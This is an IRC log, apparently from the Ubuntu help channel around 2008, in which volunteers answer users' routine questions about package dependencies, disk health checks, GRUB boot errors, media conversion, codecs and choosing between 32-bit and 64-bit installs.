[18:53] <YaKkO_FJV> because?
[18:53] <m0u5e> any idea how to install pidgin in backports guys?
[18:54] <DechWerks> m0u3e - backport as in older revision?
[18:55] <m0u5e> DechWerks: no i have the newest from getdeb, but its a dep nightmare
[18:55] <m0u5e> DechWerks: i want to install them, but they depend on each other and wont let me install
[18:55] <Pici> YaKkO_FJV: What exactly are you trying to do?
[18:55] <m0u5e> DechWerks: so i'm wondering if i can force an install?
[18:56] <DechWerks> oh - I used synaptec to resolve dep issues
[18:56] <Agg[sleep]> .
[18:56] <DechWerks> but the 3.5 ver keeps crashing as it can't handle Nulls properly
[18:56] <DechWerks> (for sametime)
[18:56] <Daisuke_Ido> m0u5e: enable the backports repo and upgrade pidgin
[18:56] <banisterfiend> when passing arguments to my bash function do i go myfunction(MYVAR) or myfunction($MYVAR) ?
[18:56] <klaidas> how can i switch from (let's say) GNOME to Fluxbox?
[18:56] <m0u5e> Daisuke_Ido: the one in getdeb is newer than backports
[18:57] <m0u5e> Daisuke_Ido: i already have backports enabled
[18:57] <shahrukh> hey LjL.. cud u send me ur last reply.... i accidently closed the chat and didnt get the syntax u gave me
[18:57] <Daisuke_Ido> but that wasn't the question
 any idea how to install pidgin in backports guys?
[18:57] <LjL> shahrukh: i think your HD might have failed. install "smartmontools" and run "sudo smartctl -H /dev/sda"
[18:57] <nandemonai> klaidas, at login choose session.
[18:57] <shahrukh> thanks a lot dude
[18:57] <nandemonai> klaidas, provided flux is installed of course :)
[18:57] <m0u5e> Daisuke_Ido: oops sorry, dunno what i said there
[18:57] <klaidas> k, thx. :)
[18:58] <m0u5e> Daisuke_Ido: what i meant was, how do I install pidgin manually as .deb packages
[18:58] <Daisuke_Ido> but you're wondering how to resolve deps from the getdeb package
[18:58] <m0u5e> Daisuke_Ido: because gdebi wont let me install cause they're all deps of each other
[18:58] <m0u5e> Daisuke_Ido: yeah
[18:58] <shahrukh> it says that Smart Health Status: OK
[18:58] <rampageoberon> hi, any idea why i'm getting errors such as "[xxx] butter i/o error on device fd0, logical block 0
[18:59] <Daisuke_Ido> m0u5e: comfortable with a terminal?
[18:59] <m0u5e> Daisuke_Ido: yeah, ive tried aptitude and dpkg already with no luck :(
[18:59] <Daisuke_Ido> download all three, stick them in a directory (that preferably doesn't have any other .debs in it) and dpkg -i *
[18:59] <shahrukh> does that mean my harddisk is not corrupted?
[19:00] <Daisuke_Ido> shahrukh: it means that as far as the SMART failure detection goes, the drive is fine.  there can be other issues, but you're most likely okay.
[19:00] <lakin> I suppose this must be an often asked question, but how do I get the appropriate SSL certificates for pidgin 2.5.0 that just got installed (likely from backports) ?
[19:01] <shahrukh> okay.. i tried to copy hal.dll to my windows system32 directory but it came bak with a input/output error.. then LjL told me run Smartmon and it came around to this... do u reckon i re-install my windows??
[19:02] <DechWerks> ok - so, XMMS is obsoleted, and I don't want to run rythembox - any recommendations on a music player?
[19:02] <DechWerks> (I liked XMMS)
[19:02] <Daisuke_Ido> DechWerks: were you particularly fond of the xmms/winamp style player?
[19:02] <Daisuke_Ido> ah
[19:02] <Daisuke_Ido> you want audacious
[19:02] <m0u5e> Daisuke_Ido: so any ideas?
[19:02] <Daisuke_Ido> spiritual successor
[19:02] <LjL> shahrukh: if it says "ok", it probably means it doesn't think it's corrupted, no? anyway, the HD might be physically fine, and yet the Windows filesystem broken.
[19:02] <m0u5e> audacious <3
[19:03] <DechWerks> thx m0u5e
[19:03] <Daisuke_Ido> m0u5e: looking at it now.  you've completely removed the old one, right?
[19:03] <DechWerks> Daisuke_ido - yes
[19:03] <Daisuke_Ido> with --purge
[19:03] <m0u5e> shahrukh: try using ntfs-tools ntfsfix
[19:03] <shahrukh> so then re-install windows then??
[19:03] <m0u5e> Daisuke_Ido: yes
[19:03] <shahrukh> ohh..
[19:03] <xintron> I need an easy avi to mp4 media converter, suggestions?
[19:03] <shahrukh> okay...
[19:03] <m0u5e> Daisuke_Ido: i used sudo apt-get --purge autoremove pidgin
[19:03] <shahrukh> lets c how dat works
[19:04] <m0u5e> shahrukh: if you can still boot into windows, you could also try start>run>cmd chkdsk C: /f within windows
[19:04] <Daisuke_Ido> m0u5e: unfortunately, i'm about out of ideas.
[19:04] <bytor4232> xintron: I could give you the script that I used, but it took a lot of playing to get it working right.
[19:05] <m0u5e> is there a way to force package installs ignoring dependancies?
[19:05] <shahrukh> cant even load up windows dude
[19:05] <m0u5e> i know there is... i just don't remember @__@;
[19:05] <xintron> bytor4232: ok, you don't have an easy GUI app that will do what I need?
[19:05] <Daisuke_Ido> LjL: any idea on installing pidgin from getdeb?  three parts to it, and apparently installing a single one depends on the other two...
[19:05] <soundray> m0u5e: dpkg --force-depends -i
[19:05] <Daisuke_Ido> there ya go
[19:05] <shahrukh> wats the command i should be using for ntfsfix mou5e
[19:06] <LjL> Daisuke_Ido: i don't use pidgin or for that matter gnome, and for that matter i'd never advice installing from getdeb something *that is in the repos*
[19:06] <bytor4232> xintron: http://paste.ubuntu.com/43704/
[19:06] <m0u5e> oh weird... pidgin just installed fine
[19:06] <m0u5e> after trying dpkg for the 5th time
[19:07] <m0u5e> i didnt even have to force-depends
[19:07] <Daisuke_Ido> LjL: points taken
[19:07] <marpal> hello
[19:07] <bytor4232> xintron: There is a lot of ways you can convert avi to mp4 (for your iPod I assume).  I tried them all, and finally found a way to do it with mencoder.
[19:07] <xintron> bytor4232: thanks
[19:07] <techsupport> how can i check the uptime of my system through terminal ?
[19:07] <marpal> ei may i ask anyone?
[19:08] <bytor4232> xintron: Now, you may have to adjust the bitrates.  That is to make video about 100 meg per hour in size.
[19:08] <shahrukh> mou5e: wat command im using for ntfsfix
[19:08] <Lukas_Ku> techsupport: cat /proc/uptime
[19:08] <bytor4232> xintron: My goal was portability, not quality
[19:08] <marpal> how to work compiz fusion on imac HD 2400 XT
[19:08] <marpal> how to work compiz fusion on imac HD 2400 XT?
[19:08] <xintron> bytor4232: it's for iPod so I think that's ok, or?
[19:08] <marpal> how to work compiz fusion on imac HD 2400 XT?
[19:08] <marpal> how to work compiz fusion on imac HD 2400 XT?
[19:08] <amrit1> hi all
[19:08] <marpal> anyone
[19:08] <FloodBot1> marpal: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[19:08] <bytor4232> xintron: Thats exactly why that script was written ;)
[19:08] <Pici> marpal: Stop with the repeating.
[19:08] <techsupport> Lukas_Ku, the number is in hours ?
[19:08] <marpal> sori
[19:09] <amrit1> where to find the information about graphic driver installation
[19:09] <xintron> bytor4232: how to use it, make it +x and then run it wiht "file file.avi output.mp4?
[19:09] <marpal> pici can you help me?
[19:09] <Lukas_Ku> techsupport: should be in seconds
[19:09] <crashflow> how can I play back midi files?
[19:09] <crashflow> amarok won't do it
[19:10] <bytor4232> xintron: That will actually take all the avi's in a directory and convert them to ipod compatible mp4s.
[19:10] <Lukas_Ku> techsupport: the first number is the uptime since kernel has been started; the second shows the idle uptime
[19:10] <bytor4232> xintron: Low quality, but your watching it on a 2inch screen.
[19:10] <shahrukh> i try the command ntfsfix /dev/sda1 and it says refusing to operate on read/write mounted device
[19:10] <xintron> bytor4232: ah, ok :)
[19:10] <bytor4232> xintron: Oh wait
[19:10] <bytor4232> xintron: No, it takes one arguement, the avi file.  Sorry, wrong script.
[19:10] <shahrukh> mou5e: any suggestions?
[19:11] <xintron> bytor4232: oh, thought so, so "textfile input.avi" then?
[19:11] <bytor4232> xintron: The script will take the .avi off the end and put .mp4 on the target file.
[19:11] <xintron> bytor4232: as a new file or overwrite the .avi file?
[19:11] <klemen> wtf
[19:11] <bytor4232> xintron: yes.  I called it "toipod.pl".  Just chmod +x it, then run ./toipod.pl file.avi
[19:11] <klemen> yes
[19:11] <bytor4232> xintron: No, it makes a new file, keeping the old one.
[19:11] <klemen> wac up
[19:11] <charles441> my new computer is a 64-bit plaform, but im wary of making the switch just yet. I haven't used Linux for a while, is it well supported now? Do nVidia drivers work on 64-bit?
[19:12] <klemen> wtf
[19:12] <QuestionMark> hi all. If i have a core2duo pc wich is the best choiche? the normal i386 or the amd64 image?
[19:12] <xintron> bytor4232: sweet, I'll might do my own verions and python then to learn and use your as reference :) Thanks a lot
[19:12] <bytor4232> xintron: The most important bits are lines 4 and 6.  iPods are very perticular about how a file is encoded.
[19:12] <Daisuke_Ido> charles_: if you choose, you can still install the 32-bit version
[19:13] <xintron> bytor4232: ok, that's good to know
[19:13] <doggymenz> how i can turn vsync on, to avoid tearing?
[19:13] <xintron> bytor4232: found an error, filenames with space in it doesn't work :/
[19:14] <xintron> bytor4232: solved it by adding ' ' around the @ARG in the 4 and 6 lines :)
[19:14] <xintron> bytor4232: maybe something you want to do as well ;)
[19:14] <BigBear> is ubuntu still having trouble with the laptop hdd loads?
[19:15] <Gnea> BigBear: laptop hdd loads? what is that?
[19:15] <Cameljon> BigBear, You mean the repeated parking problem?
[19:15] <jrib> QuestionMark: how much ram?
[19:16] <LiH2> BigBear: I have two laptops running and dont have that problem, so maybe it is
[19:16] <BigBear> yeah the head parking
[19:16] <Cameljon> BigBear, It still does the parking thing. AFAIK
[19:16] <DechWerks> ok - a better way to phrase my current problem - I have a SATA and IDE drive.  Currently, boot fails due to a failing FSCK on the IDE drive - BUT if I physically do not have this drive present, it does not boot at all.  I assume I need to work on the boot partition of the SATA drive and re-initialize Grub but I am not sure
[19:16] <DechWerks> any ideas?
[19:16] <Hoodoo> hey all, is there a m4p codec in linux?
[19:16] <DechWerks> is htis the right tack?
[19:17] <xintron> bytor4232: nvm what I wrote, didn't work :/
[19:18] <Assemblage> hi
[19:18] <ijustam> is it actually possible to install php5-mysql WITHOUT installing apache? :\
[19:19] <Assemblage> can someone help me configure aircrack in my ubuntu
[19:19] <Assemblage> ?
[19:19] <Cameljon> LiH2, There is a laptop head parking problem that shortens the life of your hard drive. But it's only apparent if you look for it
[19:19] <Gnea> ijustam: no, but you can disable apache from running once it's installed
[19:19] <ijustam> groan
[19:20] <DechWerks> assemblage - first question - do you have the drivers in place?
[19:20] <Gnea> why would you not want apache on there anyway?
[19:20] <ijustam> bad choice for requires imo :\
[19:20] <ijustam> because.. i want to use lighttpd?
[19:20] <Gnea> ah
[19:20] <BigBear> if i get a laptop should i get one with SSD?
[19:21] <Assemblage> DeckWerks i tried but elimit all
[19:21] <Gnea> well, you could always create a fake apache package and use lighttpd anyway :D
[19:21] <Assemblage> so i want configure all by begining
[19:21] <Cameljon> BigBear, hdparm -B 255 /dev/sda will stop the spinning down/parking
[19:21] <DechWerks> well, the drivers is the hard part in my experience
[19:22] <BigBear> Cameljon: wont that increase crash risk or wear battery out more fast?
[19:22] <QuestionMark> jrib 4gb
[19:22] <DechWerks> anyone have any ideas on moving grub and/or other possible ways to isolate HDD issues?
[19:23] <DechWerks> (per my previous quesiton)
[19:23] <jrib> QuestionMark: you should go with 64bit (amd64) then.  Note that the one major issue is that sun does not have a 64bit browser plugin for java.
[19:23] <danbhfive> !webcam
[19:23] <Cameljon> BigBear, Well yes.. baiscly it's an APM problem on laptops. Doing a quick good I only found an old post. There may be something more relavant now. (http://www.linux-hero.com/rant/explanation-ubuntu-hard-drive-wear-and-tear)
[19:23] <Cameljon> good = google
[19:23] <QuestionMark> jrib i must download the amd64 iso?
[19:24] <BigBear> apm kernel issue?
[19:24] <Gnea> DechWerks: what do you use the IDE hard drive for?
[19:24] <jrib> QuestionMark: so that you can use all your ram, yeah.  If you don't mind some of it not getting used, then the i386 will be fine
[19:24] <Dabbu> i am not able to decrase the size of my panel below 25
[19:24] <Dabbu> i am not able to decrase the size of my panel below 25 pixel
[19:24] <Cameljon> BigBear, I have no idea. Google may be able to help you more than me.
[19:24] <Gnea> Cameljon, BigBear: not sure if this is of any relation, but.. http://ubuntuforums.org/showthread.php?t=122863
[19:25] <QuestionMark> any differneces about the prformance? I want use as a desktop pc mostly with blender and maya
[19:25] <BigBear> K ima switch my main os to ubuntu soon. Just need to investagate into the laptop issue i might get a subnotebook with ssd =)
[19:26] <Cameljon> Gnea, Thats a really old post.
[19:26] <Gnea> Cameljon: what's your point?
[19:26] <Cameljon> Gnea, it's not the same problem
[19:26] <DechWerks> gnea - I use the IDE drive for extra space / backups of stuff
[19:26] <DechWerks> nothing critical to the kernel
[19:26] <Kelen> Hi, all dude, is that normal for process compiz.real spent a lot of memory?
[19:26] <DechWerks> but I cannot aford to wipe it as it has some pics
[19:27] <DechWerks> that my wife didn't backup elsewhere
[19:27] <Gnea> DechWerks: then it shouldn't hurt the system to remove it and boot only from the SATA
[19:27] <DechWerks> but it won't boot
[19:27] <BigBear> I am mostly moving to linux because of C programming not because its free
[19:27] <Gnea> why not?
[19:27] <DechWerks> I get an error with grub - I am doing it again to get the specifics
[19:27] <Gnea> ok
[19:27] <DechWerks> but it won't let me 'esc' to ge tto the screen
[19:27] <DechWerks> and it says 'press any key' but just hangs
[19:27] <Gnea> Cameljon: *shrug* ok then
[19:28] <BigBear> is ext3 powerful?
[19:28] <DechWerks> I've tried multiple keyboards too (as it was just a wireless one)
[19:28] <Gnea> it's not weak...
[19:28] <DechWerks> ...
[19:28] <QuestionMark> jrib any differneces about the prformance? I want use as a desktop pc mostly with blender and maya
[19:28] <Gnea> DechWerks: that is weird. have you made sure, in the BIOS, that the sata drive is indeed supposed to boot? tried a different SATA cable?
[19:29] <cpkp> Is there a way to change the tab size for bash or cat?
[19:30] <jrib> QuestionMark: Well you'll have access to more memory on 64bit, so you'll be less likely to use swap.  I use 64bit.  No issues for me.  I never use java in my browser though.  You can setup a 32bit browser if you need it.  It just takes some extra work sometimes.
[19:30] <Dabbu> i am not able to decrase the size of my panel below 25 pixel...any help
[19:30] <Gnea> Dabbu: what panel?
[19:30] <DechWerks> Gnea: error from grub is
[19:31] <DechWerks> error 21: selected disk does not exist
[19:31] <DechWerks> press any key to continue
[19:31] <DechWerks> but ....
[19:31] <Dabbu> Gnea:desktop panel
[19:31] <Metatron> i dont think you can go smaller than the icons
[19:31] <DechWerks> and htis is odd, it does not see keyboard input
[19:31] <DechWerks> it didn't let me hit 'esc' at first
[19:31] <DechWerks> and
[19:32] <DechWerks> nor hit any key after
[19:32] <Gnea> Dabbu: top or bottom?
[19:33] <rampageoberon> ubuntu is not picking up my sata hard drive even though its there in bios
[19:33] <rampageoberon> any ideas?
[19:33] <Dabbu> Gnea: both
[19:33] <mattdev> Hello everyone, I'm having a problem in Gparted.  I just formatted a drive to ext3 but it won't let me mount it!  I right click the drive and I can see unmount but it's grayed out.  Any ideas?
[19:33] <ianliu_88> Is there an easy way to add a XML tag to a file with command line?
[19:33] <vnix> How to play rmvb video?
[19:33] <vnix> I mean is there any codec? thanks
[19:33] <Gnea> DechWerks: you can't ESC to a prompt at all?
[19:33] <Metatron> is it all ready mounted?
[19:33] <DechWerks> nope
[19:33] <DechWerks> it just moves on
[19:33] <DechWerks> and then hangs
[19:33] <DechWerks> ... no any key to work
[19:33] <FloodBot1> DechWerks: Please don't flood, use http://paste.ubuntu.com to paste, don't use Enter as punctuation.
[19:34] <dk> alguien me ayuda a compilar un deb?
[19:34] <mattdev> Metatron: no, I can't see the drive on the desktop
[19:34] <QuestionMark> jrib if i use the 32bit version all two cores will work ok?
[19:34] <DechWerks> but the whoops sorry
[19:34] <nandemonai> QuestionMark, Yups.
[19:34] <Gnea> !sv | dk
[19:34] <dk> ?
[19:34] <DechWerks> the boot menu sees the F11
[19:34] <jrib> QuestionMark: yep, they should
[19:34] <DechWerks> but grub doesn't see any key
[19:34] <DechWerks> that's the ticket
[19:34] <dk> hahaha ok
[19:34] <dk> :p
[19:35] <QuestionMark> jrib ok. thanks four your help. bye
[19:35] <Gnea> !grub | DechWerks
[19:35] <ianliu_88> I'm doing a bash script which must update a XML file, is there an "automated" way to do it, or I must parse the file and add the tag?
[19:35] <dotpavan> !hqx
[19:35] <DechWerks> gnea - thank you!
[19:35] <DechWerks> that is what I needed
[19:35] <Gnea> DechWerks: try the method for recovering grub... it sounds like the menu.lst file is borked
[19:35] <Gnea> DechWerks: cheers :)
[19:35] <dotpavan> Anybody knows how to open .hqx files?
[19:35] <nxmehta> i'm a newb who's installed ubuntu server 8.04 on a headless server, and i'm worried that my usb controller is fried- how do i tell if a usb stick i plugged in is working?
[19:36] <nxmehta> can't really figure out how to mount it
[19:36] <Gnea> nxmehta: tail -f /var/log/syslog  and see if anything happens. or lsusb
[19:36] <nxmehta> crap, nothing appears in the syslog when i plug it in
[19:37] <christooopher_> anyone know if its possible to move a ubuntu hardy install-the one with no partitioning. to my first hd?
[19:37] <Gnea> !language | nxmehta
[19:37] <christooopher_> i didn't reallize i couldn't mount the hd its on
[19:37] <danbhfive> ianliu_88: i bet you would have to go into another language, but google is your friend on that one
[19:37] <rampageoberon> ubuntu is not picking up my sata hard drive even though its there in bios. any ideas?
[19:37] <nxmehta> (sorry)
[19:37] <amrita> help help help..... please help
[19:37] <Gnea> !ask | amireldor
[19:37] <Gnea> !ask | amrita
[19:37] <jrib> amrita: ask ask ask..... please ask :)
[19:38] <christooopher_> can i move my ubuntu install?
[19:38] <amrita> 640x480 is the only resolution availabe for my screen
[19:38] <amrita> why is it so ?
[19:38] <fomigo> i have a problem with nautilus - it doesn't work properly. My CPU  is 50% from it. Can anybody help me? ubuntu 8.04.
[19:38] <vnix> Is there any codec for RMVB or players thanks.
[19:38] <jrib> !fixres > amrita
[19:38] <tcleval> i am trying to install w32codec from mediubuntu repositoriy but no luck so far, the download is slow as hell and sometimes it start over again and again. is there any 'oficial' mirros for medibuntu?
[19:38] <qrl> I trying to use ATI CCC to clone my screen on my LCD-TV. CCC finds my TV, but the TV don`t recieve no signal?
[19:38] <danbhfive> tcleval: by design, NO!  : P
[19:38] <Gnea> christooopher_: what do you mean, move the install?
[19:39] <qrl> I got same problem as tcleval
[19:39] <YaKkO_FJV> how it makes to knock down all the processes of one alone time?
[19:39] <YaKkO_FJV> how it makes to knock down all the processes of one alone time?!
[19:39] <Gnea> !repeat | YaKkO_FJV
[19:39] <christooopher_> from hdb to hda
[19:39] <christooopher_> so i can mount hdb
[19:39] <jrib> YaKkO_FJV: I don't understand your question
[19:39] <danbhfive> Gnea: stop spamming ubottu
[19:39] <Zaiden> Is it possible to get esd back?
[19:39] <qrl> tcleval: Are you trying to stream net-tv?
[19:39] <Gnea> danbhfive: stop telling me to stop.
[19:39] <tcleval> danbhfive so is that and http problem? is it overloaded?
[19:39] <YaKkO_FJV> how I knock down the processes of one alone time?
[19:40] <tcleval> an*
[19:40] <christooopher_> my second hd is 100gb i used 8 for ubuntu install but can't mount the other 92 in ubuntu...
[19:40] <jrib> YaKkO_FJV: that doesn't make sense.  Rephrase your question
[19:40] <Pici> YaKkO_FJV: can you rephrase that?
[19:40] <Carpe|Diem> Could someone tell me what the program is called to get a terminal embedded in your desktop? Like in this movie: http://uk.youtube.com/watch?v=BqpTDMqBBdM&feature=related
[19:40] <tcleval> qrl i am trying to see some videos ;-)
[19:40] <nandemonai> christooopher_, is it partitioned and formatted?
[19:40] <Gnea> christooopher_: that doesn't make much sense... the other 92 *what*?
[19:40] <kat__> does anyone know if i can use my Line 6 Toneport KB37 with ubuntu?
[19:40] <kat__> and where do i get the driver??!
[19:40] <christooopher_> no, i used the new install option for hardy where i didn't have to set up any p[artitions
[19:41] <jrib> vnix: mplayer with w32codecs can probably play it
[19:41] <christooopher_> 100gb - 8 = 92
[19:41] <danbhfive> tcleval: maybe, I can't tell from where I'm sitting.  But just so you know, medibuntu is a repo for items that can't be included in the official repos, hence, if its in medibuntu, you won't ever find it in an official place
[19:41] <qrl> tcleval: having problem finding the right codecWIN32 too
[19:41] <nandemonai> christooopher_, fdisk -l and pastebin the results please.
[19:41] <Gnea> christooopher_: soooo... you want to move your second hard drive to the position of first hard drive?
[19:41] <vnix> jrib: how I get w32codecs?
[19:41] <jrib> !medibuntu > vnix
[19:41] <aryamaangiri> hey did any of u ppl download LIMEWIRE in ubuntu ??
[19:41] <BigBear> does ubuntu run on a Acer Aspire one?
[19:41] <Gnea> !limewire > aryamaangiri
[19:42] <jrib> aryamaangiri: I'd recommend frostwire in its place
[19:42] <jrib> !frostwire > aryamaangiri
[19:42] <christooopher_> not really the 92gb is techincally on the same drive as the 8gb ubuntu install, ubuntu just can't see it (i beleive cause its on the same drive) so i want to move ubuntu to my 50gb windows drive
[19:42] <christooopher_> the reason being my movies and music are on the 92gb
[19:43] <qrl> I trying to use ATI CCC to clone my screen on my LCD-TV. CCC finds my TV, but the TV don`t recieve no signal?
[19:43] <Gnea> christooopher_: it should be able to see the other drive... how are you trying to get it to see it?
[19:43] <danbhfive> christooopher_: I don't think thats why ubuntu can't see it.  Ubuntu should be able too...
[19:43] <BigBear> is dell selling ubuntus on netbooks?
[19:43] <nandemonai> christel, oh right so what type of partition? would really help if you pastbin the results of sudo fdisk -l for us.
[19:44] <christooopher_> is there a new place to look in hardy? i check /dev and /media
[19:44] <nandemonai> christooopher_, rather =/
[19:44] <legend2440> !tvout | qrl
[19:45] <Gnea> BigBear: http://www.dell.com/content/topics/segtopic.aspx/ubuntu?c=us&cs=19&l=en&s=dhs
[19:45] <Peewe666> Hi everyone...
[19:45] <BigBear> are there any netbooks that come with ubuntu (netbooks like eee
[19:45] <gumpish> Is there a faster way than scp to copy files to another host? (I don't need the overhead of encryption, it's on my LAN)
[19:45] <christooopher_> i ran fdisk, should i post whole result?
[19:45] <Peewe666> I'm looking for some help configuring my flash on firefox 3. Ubuntu Hardy.
[19:45] <gumpish> BigBear: the new Dell Inspiron Mini 9 does.
[19:46] <nandemonai> !pastebin > christooopher_
[19:46] <TelnetManta> Can anyone tell me how to rescan for new hardware? My nic isnt showing up.
[19:46] <jrib> Peewe666: "configuring"?  You should just need to install flashplugin-nonfree and that's it
[19:46] <BigBear> Excellent
[19:46] <nandemonai> christooopher_, then post us the link :)
[19:46] <Gnea> BigBear: please see the URL, you can find everything they offer there.
[19:46] <BigBear> Gnea: thanks checking it right now
[19:46] <mattdev> Hello everyone, I'm having a problem in Gparted.  I just formatted a drive to ext3 but it won't let me mount it!  I right click the drive and I can see unmount but it's grayed out.  Any ideas?  The drive isn't already mounted becasue it's not showing up on the desktop.
[19:47] <BigBear> is 512MB ram enough for ubuntu?
[19:47] <Pici> BigBear: Yes.
[19:47] <Gnea> yes
[19:47] <BigBear> my computer has 1GB ram
[19:47] <nandemonai> BigBear, sure is.
[19:47] <qrl> ubottu: It`s not tv-out, its VGA